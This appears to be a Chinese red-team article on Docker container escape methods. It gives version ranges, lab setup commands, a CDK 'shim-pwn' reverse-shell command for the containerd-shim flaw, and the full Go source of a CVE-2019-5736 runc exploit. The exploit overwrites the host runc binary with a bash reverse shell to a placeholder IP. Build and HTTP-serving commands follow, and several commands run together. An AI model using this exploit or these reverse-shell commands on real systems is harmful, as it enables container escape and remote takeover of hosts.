九维团队-红队（突破）| 云安全-Docker逃逸手法（中）

containerd < 1.3.9containerd < 1.4.3

apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

docker run -itd --net=host ubuntu:18.04 /bin/bash

cat /proc/net/unix|grep -a "containerd-shim”

https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gztar -zxvf cdk_v0.1.6_release.tar.gz./cdk_linux_amd64 run shim-pwn IP PORT

笔者看到网上说是会覆盖runc文件。可以先备份一份cp /usr/bin/docker-runc drc_bak

docker version <=18.09.2RunC version <=1.0-rc6

https://github.com/Frichetten/CVE-2019-5736-PoC

https://github.com/agppp/cve-2019-5736-poc

var payload = "# !/bin/bash n bash -i >& /dev/tcp/xxx.xx.xx.xx/1234 0>&1"

package main
// Implementation of CVE-2019-5736// Created with help from @singe, @_cablethief, and @feexd.// This commit also helped a ton to understand the vuln// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9dimport (    "fmt"    "io/ioutil"    "os"    "strconv"    "strings")
// This is the line of shell commands that will execute on the hostvar payload = "# !/bin/bash n bash -i >& /dev/tcp/xxx.xx.xx.xx/1234 0>&1"
func main() {    // First we overwrite /bin/sh with the /proc/self/exe interpreter path    fd, err := os.Create("/bin/sh")    if err != nil {        fmt.Println(err)        return    }    fmt.Fprintln(fd, "# !/proc/self/exe")    err = fd.Close()    if err != nil {        fmt.Println(err)        return    }    fmt.Println("[+] Overwritten /bin/sh successfully")
    // Loop through all processes to find one whose cmdline includes runcinit    // This will be the process created by runc    var found int    for found == 0 {        pids, err := ioutil.ReadDir("/proc")        if err != nil {            fmt.Println(err)            return        }        for _, f := range pids {            fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")            fstring := string(fbytes)            if strings.Contains(fstring, "runc") {                fmt.Println("[+] Found the PID:", f.Name())                found, err = strconv.Atoi(f.Name())                if err != nil {                    fmt.Println(err)                    return                }            }        }    }
    // We will use the pid to get a file handle for runc on the host.    var handleFd = -1    for handleFd == -1 {        // Note, you do not need to use the O_PATH flag for the exploit to work.        handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)        if int(handle.Fd()) > 0 {            handleFd = int(handle.Fd())        }    }    fmt.Println("[+] Successfully got the file handle")
    // Now that we have the file handle, lets write to the runc binary and overwrite it    // It will maintain it's executable flag    for {        writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)        if int(writeHandle.Fd()) > 0 {            fmt.Println("[+] Successfully got write handle", writeHandle)            writeHandle.Write([]byte(payload))            return        }    }}

set CGO_ENABLED=0 set GOOS=linux set GOARCH=amd64 go build main.go

python2 -m SimpleHTTPServer 80、python3 -m http.server 8001